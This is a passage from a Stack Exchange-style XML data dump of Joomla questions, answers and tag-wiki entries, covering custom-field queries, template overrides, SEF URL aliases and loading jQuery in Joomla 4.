this.&lt;/p&gt;&#xA;&lt;p&gt;What I did was execute a query on all the fields so I had the names. Then, I executed a query to get all the records (one field per record). Then I combined all the records into one array and passed the fields and records to the tmpl/default.php script.&lt;/p&gt;&#xA;&lt;p&gt;Here's the queries and joining the records:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// let's try this: get all the field value names per category&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query&#xA;        -&amp;gt;select('fields.title')&#xA;        -&amp;gt;from($db-&amp;gt;quoteName('#__fields', fields))&#xA;        ;&#xA;$db-&amp;gt;setQuery($query, 0, 0);&#xA;$fv_list = $db-&amp;gt;loadObjectList();&#xA;//array_unshift($fv_list, &amp;quot;name&amp;quot;, &amp;quot;email&amp;quot;);&#xA;//print_r($fv_list);&#xA;&#xA;// now get all the fields_values&#xA;$q1 = $db-&amp;gt;getQuery(true);&#xA;$q1&#xA;        -&amp;gt;select('u.name, u.email, f.title, fv.value')&#xA;        -&amp;gt;from($db-&amp;gt;quoteName('#__users', u))&#xA;        -&amp;gt;join('INNER', $db-&amp;gt;quoteName('#__user_usergroup_map', map) . ' ON ' . $db-&amp;gt;quoteName('map.user_id') . ' = ' . $db-&amp;gt;quoteName('u.id'))&#xA;        -&amp;gt;join('INNER', $db-&amp;gt;quoteName('#__fields_values', fv) . ' ON ' . $db-&amp;gt;quoteName('fv.item_id' ) . ' = ' . $db-&amp;gt;quoteName('u.id'))&#xA;        -&amp;gt;join('INNER', $db-&amp;gt;quoteName('#__fields',        f)  . ' ON ' . $db-&amp;gt;quoteName('fv.field_id') . ' = ' . $db-&amp;gt;quoteName('f.id'))&#xA;        // -&amp;gt;where('map.group_id' . ' = ' . $group)&#xA;        -&amp;gt;order('`name` ASC')&#xA;        ;&#xA;$db-&amp;gt;setQuery($q1, 0, 0);&#xA;$fields = $db-&amp;gt;loadObjectList();&#xA;// echo $q1 .EOL . EOL;&#xA;//print_r($fields);&#xA;&#xA;foreach ($fields as $fv)&#xA;{&#xA;        $name = $fv-&amp;gt;name;&#xA;        $list[$name][0] = $name;&#xA;        $list[$name][1] = $fv-&amp;gt;email;&#xA;        $list[$name][$fv-&amp;gt;title] = $fv-&amp;gt;value;&#xA;}&#xA;return (array($fv_list, $list));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This produces an array of two arrays - the first is the list of field names, the second is one record per user with all the fields they've populated as key/value pairs.&lt;/p&gt;&#xA;&lt;p&gt;In default.php, I output ALL the fields either with data the user populated or &amp;quot;&amp;quot; if the field is empty.&lt;/p&gt;&#xA;&lt;p&gt;I'm still working on getting the data exported - but the two queries here work on Joomla 4.0.x databases, although I'm not getting group filtering like I want.&lt;/p&gt;&#xA;" OwnerUserId="16019" LastEditorUserId="16019" LastEditDate="2022-01-24T19:08:57.603" LastActivityDate="2023-09-18T21:27:00.563" Title="How to join custom fields data to users table without extra rows in result set" Tags="|mysql|fields|pivot|" AnswerCount="2" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="31798" PostTypeId="1" CreationDate="2022-01-12T17:22:43.303" Score="1" ViewCount="30" Body="&lt;p&gt;In Joomla (both 3x and 4x) I am trying to add a php 'if' query to a category blog override so that if the category title is 'X' then it does one thing, but if not, do something else. (I'm having trouble getting multiple overrides to work - but that's another issue - so I'm attempting to put two layouts into one override as a workaround.) Something like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;$catTitle = ($item-&amp;gt;displayCategoryTitle);&lt;/code&gt; in addition to the first 30-odd lines in the blog.php file&lt;/p&gt;&#xA;&lt;p&gt;followed by the layout:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($catTitle == 'myCategoryTitle') : ?&amp;gt;&#xA;&amp;lt;div class=&amp;quot;outer-wrap&amp;quot;&amp;gt;&#xA;    &amp;lt;?php foreach ($this-&amp;gt;intro_items as $key =&amp;gt; &amp;amp;$item) : ?&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;item-wrap&amp;quot;&amp;gt;&#xA;            &amp;lt;?php&#xA;            $this-&amp;gt;item = &amp;amp;$item;&#xA;            echo $this-&amp;gt;loadTemplate('item');&#xA;            ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;? php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;...followed by the other layout. Presumably I may need an &lt;code&gt;&amp;lt;?php else if ...&lt;/code&gt;? or &lt;code&gt;&amp;lt;?php if ($catTitle != 'myCategoryTitle') : ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;At the moment, I'm - not surprisingly - just getting a blank screen.&lt;/p&gt;&#xA;" OwnerUserId="13040" LastActivityDate="2022-01-12T17:22:43.303" Title="How can I convert a field value to string for use in a custom category blog override?" Tags="|php|category-blog|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31799" PostTypeId="1" CreationDate="2022-01-13T10:52:02.357" Score="0" ViewCount="38" Body="&lt;p&gt;Good day,&lt;/p&gt;&#xA;&lt;p&gt;I have inherited a very old Joomla site - and the are wanting URL updates for a custom module that was developed for them.&lt;/p&gt;&#xA;&lt;p&gt;The URL's currently contain &lt;em&gt;&lt;strong&gt;car-rental-branch&lt;/strong&gt;&lt;/em&gt; - which they want amended to &lt;em&gt;&lt;strong&gt;car-rental&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I cannot for the life of me [a wordpress dev] find where one would edit that.&lt;/p&gt;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="16021" LastActivityDate="2022-01-13T12:23:48.003" Title="Update SEF URL to change what is output" Tags="|url|sef|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31800" PostTypeId="2" ParentId="31799" CreationDate="2022-01-13T12:23:48.003" Score="2" Body="&lt;p&gt;Joomla works with internal (for example &lt;code&gt;/index.php?option=com_content&amp;amp;view=article&amp;amp;id=42&lt;/code&gt;) and external SEF URLs (&lt;code&gt;/some-name&lt;/code&gt;). The SEF URLs are created via the menu, and the &amp;quot;alias&amp;quot; from each Menu Item and/or article is used to create the URL.&lt;/p&gt;&#xA;&lt;p&gt;A proper way to create SEF URLs in Joomla components/modules/plugins is to use the JRoute method (or more modern: Route + namespace &lt;code&gt;Joomla\CMS\Router\Route&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;If your module has been programmed in a proper way, it will use that (J)Route method. And it will use the menu structure + &amp;quot;alias&amp;quot; of menu items or articles.&lt;/p&gt;&#xA;&lt;p&gt;In recent versions of Joomla 3 + 4 you can search all menu items for alias &amp;quot;car-rental-branch&amp;quot; and change the alias to &amp;quot;car-rental&amp;quot;. Or if it's an article that does not have a menu item, check the &lt;code&gt;Content &amp;gt; Articles&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;When you change the alias of a menu item, the URL will change accordingly. So you might want to add a redirection in &lt;code&gt;Components &amp;gt; Redirects&lt;/code&gt; to redirect traffic on the old URL to the new URL.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-01-13T12:23:48.003" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31801" PostTypeId="1" AcceptedAnswerId="31857" CreationDate="2022-01-13T14:41:26.850" Score="2" ViewCount="3606" Body="&lt;p&gt;Tell me please.  How to load jQuery in Joomla 4 if it has not been loaded yet?&lt;/p&gt;&#xA;" OwnerUserId="13776" LastActivityDate="2022-01-22T04:25:46.393" Title="Loading the built-in jQuery in Joomla 4 if it does not exist" Tags="|php|jquery|joomla-4|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31802" PostTypeId="2" ParentId="31801" CreationDate="2022-01-13T14:48:04.750" Score="8" Body="&lt;p&gt;You should be able to load it like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Joomla\CMS\HTML\HTMLHelper::_('jquery.framework');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Else, if you're using Joomla's Web Asset Manager, then you can define it as a dependency in your JSON object:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &amp;quot;name&amp;quot;: &amp;quot;foobar&amp;quot;,&#xA;  &amp;quot;type&amp;quot;: &amp;quot;script&amp;quot;,&#xA;  &amp;quot;uri&amp;quot;: &amp;quot;com_mycomponent/script.min.js&amp;quot;,&#xA;  &amp;quot;dependencies&amp;quot;: [&#xA;    &amp;quot;jquery&amp;quot;&#xA;  ]&#xA;},&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2022-01-13T14:48:04.750" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31803" PostTypeId="5" CreationDate="2022-01-17T21:31:40.710" Score="0" Body="&lt;p&gt;Questions regarding Stripe, which is a payment processor for online payments&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T21:31:40.710" LastActivityDate="2022-01-17T21:31:40.710" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31804" PostTypeId="4" CreationDate="2022-01-17T21:31:40.710" Score="0" Body="Questions regarding Stripe payment processor" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T21:31:40.710" LastActivityDate="2022-01-17T21:31:40.710" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31805" PostTypeId="5" CreationDate="2022-01-17T21:33:01.657" Score="0" Body="&lt;p&gt;The dashboard is the control panel that you see after you login into the Joomla back-end.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T21:33:01.657" LastActivityDate="2022-01-17T21:33:01.657" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31806" PostTypeId="4" CreationDate="2022-01-17T21:33:01.657" Score="0" Body="The dashboard is the control panel that you see after you login into the Joomla back-end." OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T21:33:01.657" LastActivityDate="2022-01-17T21:33:01.657" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31807" PostTypeId="5" CreationDate="2022-01-17T21:34:01.740" Score="0" Body="&lt;p&gt;Geolocation is the process of determining or estimating the geographic position of a visitor.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T21:34:01.740" LastActivityDate="2022-01-17T21:34:01.740" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31808" PostTypeId="4" CreationDate="2022-01-17T21:34:01.740" Score="0" Body="Geolocation is the process of determining or estimating the geographic position of a visitor." OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T21:34:01.740" LastActivityDate="2022-01-17T21:34:01.740" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31809" PostTypeId="5" CreationDate="2022-01-17T21:36:47.157" Score="0" Body="&lt;p&gt;Debug is to find and eliminate errors in software. Joomla has a debug mode. Developers often use software like XDebug to step through the code.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T21:36:47.157" LastActivityDate="2022-01-17T21:36:47.157" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31810" PostTypeId="4" CreationDate="2022-01-17T21:36:47.157" Score="0" Body="Debug is to find and eliminate errors in software." OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T21:36:47.157" LastActivityDate="2022-01-17T21:36:47.157" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31811" PostTypeId="5" CreationDate="2022-01-17T21:38:33.377" Score="0" Body="&lt;p&gt;Authentication is the process of recognizing a user's identity. Authorization is the process of verifying what specific actions a user can do, and which resources a user has access to.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T21:38:33.377" LastActivityDate="2022-01-17T21:38:33.377" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31812" PostTypeId="4" CreationDate="2022-01-17T21:38:33.377" Score="0" Body="Authentication is the process of recognizing a user's identity" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T21:38:33.377" LastActivityDate="2022-01-17T21:38:33.377" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31813" PostTypeId="5" CreationDate="2022-01-17T21:41:12.423" Score="0" Body="&lt;p&gt;Libraries are collections of external software (in PHP, CSS, JavaScript) used in Joomla. Developers often use Composer to maintain the PHP libraries they use in their software.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T21:41:12.423" LastActivityDate="2022-01-17T21:41:12.423" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31814" PostTypeId="4" CreationDate="2022-01-17T21:41:12.423" Score="0" Body="Libraries are collections of external software used in Joomla." OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T21:41:12.423" LastActivityDate="2022-01-17T21:41:12.423" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31815" PostTypeId="5" CreationDate="2022-01-17T21:42:58.417" Score="0" Body="&lt;p&gt;Joomla User Groups are (local) groups of users to exchange knowledge of Joomla. For an overview see: &lt;a href=&quot;https://community.joomla.org/user-groups.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://community.joomla.org/user-groups.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T21:42:58.417" LastActivityDate="2022-01-17T21:42:58.417" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31816" PostTypeId="4" CreationDate="2022-01-17T21:42:58.417" Score="0" Body="Joomla User Groups are (local) groups of users to exchange knowledge of Joomla." OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T21:42:58.417" LastActivityDate="2022-01-17T21:42:58.417" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31817" PostTypeId="5" CreationDate="2022-01-17T21:44:36.597" Score="0" Body="&lt;p&gt;The Weblinks component allows you to add, edit and remove links to other web sites on your Joomla web site and organize them into categories and display on your site.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T21:44:36.597" LastActivityDate="2022-01-17T21:44:36.597" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31818" PostTypeId="4" CreationDate="2022-01-17T21:44:36.597" Score="0" Body="Weblinks is a Joomla extension to manage links to other websites." OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T21:44:36.597" LastActivityDate="2022-01-17T21:44:36.597" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31819" PostTypeId="5" CreationDate="2022-01-17T21:45:04.097" Score="0" Body="&lt;p&gt;Contact is a core Joomla component to display contact information and a contact form.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T21:45:04.097" LastActivityDate="2022-01-17T21:45:04.097" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31820" PostTypeId="4" CreationDate="2022-01-17T21:45:04.097" Score="0" Body="Contact is a core Joomla component to display contact information and a contact form." OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T21:45:04.097" LastActivityDate="2022-01-17T21:45:04.097" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31821" PostTypeId="5" CreationDate="2022-01-17T21:46:49.770" Score="0" Body="&lt;p&gt;Bugs are errors in software. If you find any, and can reproduce them in the most recent version of a default Joomla website, then you can report them at &lt;a href=&quot;https://issues.joomla.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://issues.joomla.org/&lt;/a&gt; or &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/issues&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T21:46:49.770" LastActivityDate="2022-01-17T21:46:49.770" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31822" PostTypeId="4" CreationDate="2022-01-17T21:46:49.770" Score="0" Body="Bugs are errors in software." OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T21:46:49.770" LastActivityDate="2022-01-17T21:46:49.770" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31823" PostTypeId="5" CreationDate="2022-01-17T21:48:04.960" Score="0" Body="&lt;p&gt;one-click-updates is a functionality in the Joomla back-end to update extensions.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T21:48:04.960" LastActivityDate="2022-01-17T21:48:04.960" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31824" PostTypeId="4" CreationDate="2022-01-17T21:48:04.960" Score="0" Body="one-click-updates is a functionality in the Joomla back-end to update extensions." OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T21:48:04.960" LastActivityDate="2022-01-17T21:48:04.960" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31825" PostTypeId="5" CreationDate="2022-01-17T21:49:48.943" Score="0" Body="&lt;p&gt;The Article Manager is used to create articles in the back-end of a Joomla website.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T21:49:48.943" LastActivityDate="2022-01-17T21:49:48.943" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31826" PostTypeId="4" CreationDate="2022-01-17T21:49:48.943" Score="0" Body="The Article Manager is used to create articles in the back-end of a Joomla website." OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T21:49:48.943" LastActivityDate="2022-01-17T21:49:48.943" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31827" PostTypeId="5" CreationDate="2022-01-17T21:53:27.887" Score="0" Body="&lt;p&gt;Error reporting is a built-in PHP function that allows developers to control if and which kind of errors will be shown on web pages generated by Joomla. A server admin can configure it on the server in php.ini. You might be able to configure it via .htaccess and/or in the Joomla Back-end in System Configuration.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T21:53:27.887" LastActivityDate="2022-01-17T21:53:27.887" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31828" PostTypeId="4" CreationDate="2022-01-17T21:53:27.887" Score="0" Body="Error reporting is a built-in PHP function that allows developers to control if and which kind of errors will be shown on web pages generated by Joomla." OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T21:53:27.887" LastActivityDate="2022-01-17T21:53:27.887" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31829" PostTypeId="5" CreationDate="2022-01-17T21:57:13.410" Score="0" Body="&lt;p&gt;A RESTful API (or REST API) is an application program interface (API) that uses HTTP requests to access and use data according to a protocol called REST (REpresentational State Transfer).&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T21:57:13.410" LastActivityDate="2022-01-17T21:57:13.410" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31830" PostTypeId="4" CreationDate="2022-01-17T21:57:13.410" Score="0" Body="A RESTful API (or REST API) is an application program interface (API) that uses HTTP requests to access and use data according to a protocol called REST (REpresentational State Transfer)." OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T21:57:13.410" LastActivityDate="2022-01-17T21:57:13.410" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31831" PostTypeId="5" CreationDate="2022-01-17T22:00:29.327" Score="0" Body="&lt;p&gt;CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart) is a type of security measure known as challenge-response authentication to stops automated attacks (bots) while approving valid users.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T22:00:29.327" LastActivityDate="2022-01-17T22:00:29.327" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31832" PostTypeId="4" CreationDate="2022-01-17T22:00:29.327" Score="0" Body="CAPTCHA is a type of security measure to stops automated attacks (bots) while approving valid users." OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T22:00:29.327" LastActivityDate="2022-01-17T22:00:29.327" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31833" PostTypeId="5" CreationDate="2022-01-17T22:03:20.527" Score="0" Body="&lt;p&gt;Web hosting is a type of Internet hosting service that hosts websites for clients. The hosting makes the website available for visitors&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T22:03:20.527" LastActivityDate="2022-01-17T22:03:20.527" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31834" PostTypeId="4" CreationDate="2022-01-17T22:03:20.527" Score="0" Body="Web hosting is a type of Internet hosting service that hosts websites for clients. The hosting makes the website available for visitors" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2022-01-17T22:03:20.527" LastActivityDate="2022-01-17T22:03:20.527" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31835" PostTypeId="2" ParentId="15992" CreationDate="2022-01-18T17:41:05.357" Score="2" Body="&lt;p&gt;Sometimes the author of your component will provide a way to do such an override, so check the documentation first. If that is not possible, brute force works:&lt;/p&gt;&#xA;&lt;p&gt;I recently solved this problem for myself by inserting a rule at the top of my .htaccess file on the server. Most Apache servers will handle this correctly. The rule would look like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Redirect 301 /components/path/to/your/script/thescript.js https://yourdomain.com/templates/your_template/html/js/thescript.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The caveat is you need to remember that this exists. It will override any future updates to this script which the developer provides.&lt;/p&gt;&#xA;" OwnerUserId="13245" LastActivityDate="2022-01-18T17:41:05.357" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31836" PostTypeId="1" CreationDate="2022-01-19T21:08:47.707" Score="0" ViewCount="282" Body="&lt;p&gt;I am trying to restore the Isis template. I have reinstalled the zip file from Git. I can see the Isis folder and all of it's files under Administrator/templates, BUT I cannot see it in the Admin console under Extensions-&amp;gt;templates-&amp;gt;templates. After many years I want to use the template properly to customize the css of the backend of my site.&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="14678" LastEditorUserId="13472" LastEditDate="2022-01-20T08:37:31.950" LastActivityDate="2022-01-20T08:37:31.950" Title="How to restore Isis template and see it in Extensions-&gt;templates" Tags="|joomla-3.x|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31837" PostTypeId="2" ParentId="31836" CreationDate="2022-01-19T22:36:44.903" Score="2" Body="&lt;p&gt;You could try clicking the discover button at &lt;code&gt;Extensions -&amp;gt; Manage -&amp;gt; Discover&lt;/code&gt; and then select and install the template if it is discovered.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2022-01-19T22:36:44.903" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31838" PostTypeId="2" ParentId="31796" CreationDate="2022-01-19T23:11:49.860" Score="1" Body="&lt;p&gt;This error usually means that Joomla has failed to connect to the database.&lt;/p&gt;&#xA;&lt;p&gt;Check that the database credentials are correct.&lt;/p&gt;&#xA;&lt;p&gt;Also check that the relevant options e.g. &lt;code&gt;mysqli&lt;/code&gt; are enabled in PHP. If you are using cPanel, PHP options are found under &amp;quot;Select PHP Version&amp;quot;.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2022-01-19T23:11:49.860" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31839" PostTypeId="2" ParentId="31789" CreationDate="2022-01-20T00:16:25.217" Score="2" Body="&lt;p&gt;There are a few ways in Joomla to solve this problem. Some ideas in order of best practice to not recommended are:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;1. Template &amp;quot;Advanced&amp;quot; or &amp;quot;Custom&amp;quot; Feature&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Check if your template has an option to insert code. For example, The Helix Ultimate template from JoomShaper allows you to insert code in &lt;code&gt;Before &amp;lt;/head&amp;gt;&lt;/code&gt;, &lt;code&gt;After &amp;lt;body&amp;gt;&lt;/code&gt; and &lt;code&gt;Before &amp;lt;/body&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;2. Third Party Extension&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Use a third party extension such as the free &lt;a href=&quot;https://extensions.joomla.org/extension/headtag&quot; rel=&quot;nofollow noreferrer&quot;&gt;HeadTag&lt;/a&gt; plugin by Michael Richey.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;3. Custom HTML Module with Sourcerer or similar&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;JavaScript does not necessarily have to be loaded in the HEAD section of a web page. You could paste the code into a Custom HTML module using the free or paid version of &lt;a href=&quot;https://extensions.joomla.org/extension/sourcerer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sourcerer&lt;/a&gt; or similar so the code is not stripped when you save the module. Choose &amp;quot;debug&amp;quot; or similar for the module position.&lt;/p&gt;&#xA;&lt;p&gt;An advantage of using a module is that you can specify which pages the code is loaded on via the Menu Assignment tab (only load the code on pages where the code is needed so performance is better on pages that don't need the code).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;4. Add the code to the template index.php file&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can add the code to your template &lt;code&gt;index.php&lt;/code&gt; file which can be found at &lt;code&gt;/templates/[YOURTEMPLATE]/index.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is usually OK to do for testing but is not a good long term solution as template updates can overwrite and undo your changes.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2022-01-20T00:16:25.217" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31840" PostTypeId="1" AcceptedAnswerId="31842" CreationDate="2022-01-12T01:21:03.970" Score="1" ViewCount="98" Body="&lt;p&gt;How/Where is the URL of a Joomla article (used as submenu item) defined when using URL-shortening?&lt;/p&gt;&#xA;&lt;p&gt;What I want to achieve is to have the article URLs to represent a submenu logic.&lt;/p&gt;&#xA;&lt;p&gt;For example, the URL of the article &amp;quot;TiQuant&amp;quot; of the main menu item &amp;quot;Software&amp;quot; should be show as:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;https://www.example.com/software/tiquant&lt;/code&gt; &lt;em&gt;(this URL is not working)&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;and &lt;strong&gt;not&lt;/strong&gt; as it is currently:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;https://www.example.com/software?view=article&amp;amp;id=8:tiquant&amp;amp;catid=9:software&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I am using &amp;quot;Modern&amp;quot; URL routing and I have enabled the removal of IDs (both for articles). The alias of the article is &amp;quot;tiquant&amp;quot;. For the main menu items, URL shortening works perfectly as intended. The Joomla version is 3.10.xx (most recent).&lt;/p&gt;&#xA;" OwnerUserId="16033" OwnerDisplayName="ares_games" LastEditorUserId="12352" LastEditDate="2022-01-20T08:34:16.913" LastActivityDate="2022-01-20T08:34:16.913" Title="How to define URL of Joomla sub-menus?" Tags="|url|sef|alias|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31841" PostTypeId="2" ParentId="31840" CreationDate="2022-01-12T03:40:37.027" Score="1" Body="&lt;p&gt;I think you should enable Search Engine Friendly URLs in Joomla first.&#xA;Go to System &amp;gt; Global Configuration.&#xA;In the SEO Settings, enable the option Use URL Rewriting&lt;/p&gt;&#xA;&lt;p&gt;AND:&lt;/p&gt;&#xA;&lt;p&gt;Dont forget Rename htaccess.txt file to .htaccess in root folder&lt;/p&gt;&#xA;" OwnerUserId="16015" OwnerDisplayName="Stephen" LastActivityDate="2022-01-12T03:40:37.027" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31842" PostTypeId="2" ParentId="31840" CreationDate="2022-01-17T14:34:23.440" Score="1" Body="&lt;p&gt;The secret is that a &lt;strong&gt;menu item&lt;/strong&gt; (visible or invisible) must exist &lt;strong&gt;for each target URL&lt;/strong&gt; (e.g. the article to be displayed as content of the submenu item). Then the aliases together with the menu hierarchy define the URL.&lt;/p&gt;&#xA;&lt;p&gt;In our example, the menu item linked to the article needed the alias &amp;quot;&lt;strong&gt;tiquant&lt;/strong&gt;&amp;quot; and be submenu item of the menu item &amp;quot;&lt;strong&gt;software&lt;/strong&gt;&amp;quot; both generating the envisioned:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;https://www.example.com/software/tiquant&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="16033" OwnerDisplayName="ares_games" LastEditorUserId="12352" LastEditDate="2022-01-20T08:34:03.500" LastActivityDate="2022-01-20T08:34:03.500" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
